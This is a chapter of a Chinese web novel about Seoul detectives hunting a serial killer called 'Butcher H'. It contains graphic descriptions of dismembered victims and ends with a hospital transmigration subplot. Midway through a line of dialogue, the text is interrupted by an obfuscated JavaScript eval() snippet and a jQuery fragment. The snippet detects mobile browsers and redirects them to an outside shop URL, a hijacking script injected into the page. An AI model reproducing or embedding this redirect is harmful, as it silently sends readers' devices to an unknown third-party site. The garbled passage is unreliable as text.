第六具受害者尸体被发现在东林郊区的河道边。

    某个固定去清理河道的老伯,在芦苇丛中发现了受害者的残尸。

    失血过多的手掌呈现青灰色,经过十二小时的浸泡,皮肤更添浮肿与粘腻。

    接到报案,首尔重案调查组的成员们在第一时间赶往了现场。

    封锁周围五公里范围的河道,后勤小队在河道中进行分批打捞。

    姜宰明与安珉植抵达现场的时候,现场搜寻进度已经过半。

    蓝色的防水布上摆放着切割规整的尸块,法医们正在进行第一轮初步取证。

    姜宰明对这现场并不陌生。

    他是所有人中最早接触屠夫H的人,也是连环杀人案尚未被定性之前,最初案件的举报者。

    屠夫案第一个受害人名字叫李恩彩。

    普通的女高中生,重组家庭出身,家庭成员相处和睦,父母共同经营餐馆,家庭营收正常,无欠债,父母本人性格乐善好施,在周边拥有不错口碑,不存在父债子偿的情况。

    至于李恩彩本人,她性格活泼开朗,好友众多,自身成绩在学校属于中下游,不存在竞争关系,在校师生一致反应,她不曾与人结仇,人际关系网很干净。

    姜宰明是在距离李恩彩家足有15公里外的地方,发现她的尸体的。

    她的尸体被凶手经过放血肢解处理,均分成不同的大小,被打包装进黑色垃圾袋中,毫无遮掩地堆放在居民区的垃圾处理站点——姜宰明家的附近。

    姜宰明所居住的小区属于中高端小区,居民素质都很高,对本社区内的流浪动物拥有很强的包容度,路边随处可见投喂流浪动物的饭盆和水盆,因此小区总能看见猫猫狗狗路过的身影。

    装着李恩彩头颅的垃圾袋被流浪猫抓破,苍蝇在空中嗡嗡盘旋,散发出的异味吸引了大量的猫狗聚集。

    拎着垃圾袋的姜宰明正巧看见了那一幕,他疑惑地走近,那些不怕人的猫猫狗狗便簇拥到他脚边,他正弯腰去摸小猫的脑袋,一低头就与破损的黑色垃圾袋中,李恩彩那两只充血的眼睛对视。

    姜宰明当即打电话通知同事来封锁现场。

    他们一共在垃圾处理站找到了包含头颅、躯干、左臂、左掌、右臂、右掌、以及包含左右大腿小腿,共十个尸块。

    每块尸体的切割面都异常平整,可以推断出屠夫H,有着医学背景,精通人体构造,但除此之外,没有任何线索。

    社区监控在前天的雨夜被雷暴波及,目前处于抢修状态,什么都没录到。

    姜宰明带队走访了周围的住户,并征集了附近街道上的行车记录仪,结果仍然一无所获。

    装有李恩彩的垃圾袋仿佛是凭空出现。

    家庭背景良好,无私仇,尸体没有被性侵痕迹,随身物品也被规规矩矩丢在现场。

    很显然凶手作案,并非谋财,也与性无关。

    她就那样被摆放在居民必去的垃圾处理站点,犯罪心理侧写专家得出结论,凶手是明确想要别人发现她的存在,但背后隐藏什么动机,尚不清楚。

    受害者李恩彩的头颅与躯干分离,但她的口中与食道内发现大量头发,躯干部分的食道与胃囊内也发现尚未消化的头发。

    法医尸检后给出报告,受害者李恩彩身体内的头发属于她本人,而她则是在活着的状态下,被人被迫吞下的头发。

    凶手欣赏着这残忍过程,并在强迫李恩彩吞食的过程中,用钢丝绳从后方将她的脖颈勒断。

    等到李恩彩死亡后,再进行一系列的放血及分尸行为。

    虽然李恩彩的死状凄惨,但并没有引起局内重视,只派遣了一组刑警去调查案件。

    姜宰明作为检举人,上头自然将李恩彩的案子分给他这一组。

    在他们重案调查二组为李恩彩案件跑上跑下的时候,第二个受害者出现。

    同样的作案手法,同样的尸体特征,同样是选择抛尸在距离受害者居住地15公里外的地方。

    看见与李恩彩几乎完全相同的尸检报告,所有人的心中都升起了不详的预感。

    然后第三个、第四个……直到现在第六个。

    连环杀人案的影响太大,社会已经产生了舆情。

    现在首尔重案调查组几乎是抽调全部警力去研究这个案子,所有人都想要抓住屠夫H。

    可是迄今为止,警方没能获得任何有用线索。

    但是——

    “我们有新发现!”

    姜宰明听到了组长难掩激动的声音。

    他循声看去,发现对方正蹲在蓝色的防水布前,目光灼热的盯着其中一个浮肿的尸块。

    他走了过去,就看见组长跟法医要来一副橡胶手套,做好准备工作后,竟然直接拿起了受害者的一部分遗体。

    “宰民,你看,指甲!”

    姜宰明的眉心微皱,他下意识凝神看去,发现组长手中捧着的正是受害者的一只手掌。

    属于女性的手掌已经失去了柔美的线条,长时间的浸泡让它像一只吸满汤汁的海绵状物。

    当然,这些都不重要。

    顺着组长激动的视线,姜宰明一眼就看见了异常。

    手掌上的指甲被拔掉了。

    这是前所未有的,前五个受害人的尸体上从没出现过这种特征,但这具却有了。

    重案调查组已经追查屠夫H很久了,他们是这个世界上最了解他犯罪模式的一群人。

    新的发现代表着变数。

    对于破案来说不是什么好消息。

    但是对于调查进度长久停滞的众人来说,这个发现却让所有人精神一震。

    “那个挨千刀的蠢货,终于被我抓到了吧!”

    将受害者的遗体放回原地,组长站起身来,他已经为这连环杀人案投入太多心血,没日没夜的加班让他显得格外邋遢,可是上级的催促和外界媒体的关注却让他无法放松片刻,现在他们终于有了突破,这让这个办案多年的老刑警如何不激动?

    组长精神抖擞地掏出对讲机,他的语气非常郑重。

    “大家都打起精神来,无比再对现场附近一公里的地方进行地毯式收索,我们的目标是受害者被拔掉的指甲,不要错过任何细小的东西……”

    他站直了身体看向四周,眼底燃烧着希望,说完,他顿了顿,眼眶微微湿润。

    “为死者申冤、”

    “大家,一起把那个畜生揪出来吧——”

    任何经验丰富的刑警都明白,连环杀手突然改变自己的杀戮模式,或是在自己惯有的杀人手法上,做出变动,那必然意味着他在传递或是隐藏某种信息。

    而指甲,这种锋利又不起眼的东西,最容易留下痕迹,组长已经不记得有多少次,看见这种凶手为了抹除自己的DNA,而拔掉受害者指甲的情况。

    组长并不期盼他们能够在这抛尸现场发现凶手刻意拔掉的指甲,他想要组员找到的是另一种东西。

    那个自负又傲慢的混蛋。

    自以为聪明,愚弄他们警方,仿佛掌控一切的心理变态。

    前五次的捕猎都无比顺畅,可第六次却被猎物反扑,甚至在自己身上留下痕迹……失去掌控的滋味应该不好受吧。

    而且还是对这样一个“天才”来说。

    他失误了,犯下了致命错误。

    组长很好奇,这样一个人,在抛尸的过程中,看见这个破坏了自己完美计划的受害人的脸,真能做到毫无情绪吗?

    什么都好,泄愤踩断的草根,不小心留下的半枚鞋印,总得留下什么吧,拜托了……

    受害者的尸体在被打捞完全后,就被送回了警局,因为被二组组长特殊交代过,法医和化验科优先去采集化验尸体的手掌部位。

    “虽然指甲被拔掉了,但万一还留着一个细胞呢?”

    他的话听起来好像有那么点道理,可仔细一想就知道不可能。

    犯人都知道把指甲拔掉了,还会不做简单的清理吗?

    但是没人提出这个问题,都是听吩咐做事的部门,这些活跃在现场的警官自有一套逻辑,有时间照做可比质疑省事。

    尸体被运回警局后,局内的同事就通过手掌的指纹锁定了受害者的身份,她是某医院的护士。

    虽然DNA比对还没出来,但是按照流程,警方还是传唤了疑似受害者家属的人,前来警局认尸。

    这场地毯式的搜索一直持续到凌晨。

    留在现场一遍遍沿着河道摸索的,最后只剩下二组。

    毫无意义的打捞,让一组的组长带头抗议,这两位头头向来是龙虎斗,谁也不服从谁,勉强配合到晚上十点,断定无法再找到什么有用东西的一组组长果断带头撤离。

    夜深人静的东林,远远望去只能看见几束不停摇晃的灯光。

    不吃不喝找到现在的安珉植想要掏出手机看眼时间,却发现他的手机早已黑屏关机,他又累又饿,想起一组那群人嘲讽的嘴脸,他越想越气,干脆一屁股坐在泥地里。

    “我不行了,真的一点也找不动了。”

    他发泄般踢了踢脚,被压歪的芦苇草发出簌簌响声,他的脚下泥水飞溅。

    泥水甩到姜宰明腿上,他眉毛也不皱一下。

    “我去那边再找找。”

    说起姜宰明这个同期,安珉植觉得他哪里都好,就是这个脾气太小,平时被局里前辈刁难,无论加多久的班,都一声不吭,但是平时也就算了,今天这种也无动于衷吗?

    安珉植还惦记着姜宰明脱臼的胳膊,他的脸色算不上好看。

    虽然嘴上不说,但徒劳无功地搜到现在,他其实也对组长产生了怨气,十点那会二组离开的时候,他多想借这形势,劝组长干脆也放弃吧。

    可是碍于级别,他还是没敢说出口。

    他一个没病没痛地留在这里就算了,可宰明可是受伤了,组长明明看见他吊着的胳膊了,却连问都不问,真是太冷血了。

    安珉植心里有怨,说话自然也就不客气。

    “那边还有什么好搜的,下午那会不都摸过至少五遍了吗?”

    他知道的事情,姜宰明自然知道,但是万一有遗漏呢?

    姜宰明相信组长的判断,他愿意再找一会。

    安珉植见姜宰明不啃声,就知道他是怎么想,他恨铁不成钢地冷哼一声。

    “要去你去吧,小心另一条胳膊也脱臼了,组长可不管你。”

    他正说着,突然身后不远处响起一道熟悉的声音。

    “这片都找过了吗?”

    那人正是正在被安珉植嘀咕的组长周贤正。

    安珉植被吓得一骨碌站起身来,他不知道组长有没有把他刚刚的听进耳朵里,现在无比忐忑。

    倒是一直安静的姜宰明这时候站出来替他解围。

    “组长,这片我和

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603244|205676||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    珉植已经搜完了,我正要去那边再找找。”

    周贤正应了一声不知道在想什么。

    夜色深沉,没人敢用手电去照组长的脸。

    安珉植是不敢继续休息了,他附和着姜宰明的话,跟组长打了声招呼就往北边跑。

    姜宰明大概能够明白他的心理历程,他觉得有些好笑,却没有表现出来。

    “组长,我也去了。”

    和周贤正打过招呼,他转身就要离开

    这时却听到身后传来组长低哑的声音。

    “……宰明,我会不会判断错误了?”

    周贤正和姜宰明看似只是普通上下级的关系,但是只有这两人知道,组长周贤正是被姜宰明的父亲给提携到首尔的。

    可以说,姜宰明的父亲,是周贤正的师傅。

    只是这关系隐秘,两人又过分低调,组里竟然没人知道。

    正如姜宰明信任周贤正的判断一般,周贤正也信任恩师唯一的儿子。

    他这种庸人只是被点拨了几句,都能破案升官当上首尔重案调查组的二组组长,被恩师一手养大的姜宰明至少也是天才。

    姜宰明并不知道自己在周贤正心中的定位,听完这个男人略显迷茫的话,他摇了摇头。

    意识到对方看不清他的动作,他又开口补充,道:“组长您经验丰富,我相信您的判断。”

    被恩师的独子寄予如此厚望,周贤正一时间不知道自己是该哭还是该笑。

    倘若今天真的一无所获,这无疑是对士气的又一次打击。

    姜宰明的话其实没什么实际作用,但周贤正压抑的心情却缓解了不少。

    算了,一无所获就一无所获吧,办案哪有不调查错的。

    他在心中宽慰自己,正要放姜宰明离开的时候,突然想起了安珉植刚刚说过的话。

    周贤正顿了顿,忍不住开口:“你的胳膊……”

    “没事。”

    姜宰明不欲多言。

    读懂他意识的周贤正哦了一声,没再追问。

    姜宰明知道两人之间的对话结束,他转身离开要继续自己的工作,却听见身后低低传来周贤正的声音。

    “我可以放你两天假……”

    在所有人都关注屠夫连环杀人案的现在,两天的假期真的非常奢侈,要知道周贤正身为组长,都已经整整三个月没有休假。

    他一直在警局加班,听说觉得回家麻烦,更是干脆把洗漱用品都带到了局里,就想节省时间,赶快破案捉住屠夫H。

    姜宰明知道这假期的宝贵,也明白周贤正的不善言辞和别扭的关心。

    “休假就不用了。”

    他巧妙地为自己谋取了其他补偿。

    “只是我最近几天,可能需要每天抽时间去医院换药……”

    只是换药而已,用不了几个小时,比起直接休假,显然要划算。

    周贤正当即同意了姜宰明的请求。

    “换药这个确实很重要,我批准了,宰明啊,千万要保重身体啊。”

    姜宰明笑了笑,谢过了周贤正的好意。

    俩人一来一回聊天的时间里,安珉植已经走出去好远。

    结束对话后,姜宰明朝着安珉植的方向走去,却发现他为了躲避组长,居然跑出了原定的搜索范围。

    姜宰明都不知道该怎么说他。

    刚刚还坐在泥地里叫喊着自己不行了的人,现在屁股一撅,找得比谁都卖力。

    生怕回去被组长算账吧。

    姜宰明笑着摇了摇头,也弯腰打着手电找起了可能和案子相关的东西。

    过去了不知多久,也许十几分钟,姜宰明正在泥浆里找得认真,身边就莽莽撞撞凑过来一个人。

    姜宰明还没来得及开口,就听安珉植纠结地开口。

    “宰明宰明,你说这个东西是不是组长要我们找的东西啊?”

    他说着,还把自己沾满泥浆的手递了过去。

    姜宰明的脸上刚勾起笑容,闻言,他的神情骤然变得冷厉。

    将手电光聚集在安珉植的手上,只见他指尖赫然捏着一枚宝蓝色的指甲。

    姜宰明当机立断,转身看向身后。

    “组长,有发现——”

    受害者的身份是在下午确认的,疑似存有凶手DNA的指甲是在凌晨被发现的。

    不知道是谁走漏了风声,次日屠夫H即将落网的新闻,就铺天盖地的出现在社交媒体上。

    彼时池真星正百无聊赖地待在自己的病房里,他对外界的风风雨雨毫不知情。

    他特意和金荷彩护士交代过,帮他约了医生检查。

    如果检查没问题的话,他就要离开这个自穿越以来,一直待着的医院。

    昨天从权道赫病房里顺出来的咖啡杯,已经被池真星认真清洗干净,倘若自己真马上就能出院的话,他于情于理也得去和权道赫道别,毕竟对方在医院里照顾他这么久。

    只是池真星难免惆怅。

    他的腿伤好得挺快,只是可惜权道赫了。

    两人一起出的车祸,他却伤到了脑子。

    真要追究责任,无论是原主还是他这个后来顶号的家伙,都脱不了干系。

    所以池真星是真的希望权道赫能够赶快好起来。

    他已经做好心理准备,倘若权道赫要长期住院,那他必然雷打不动,会每天来探望,为的就是不寒哥们的心。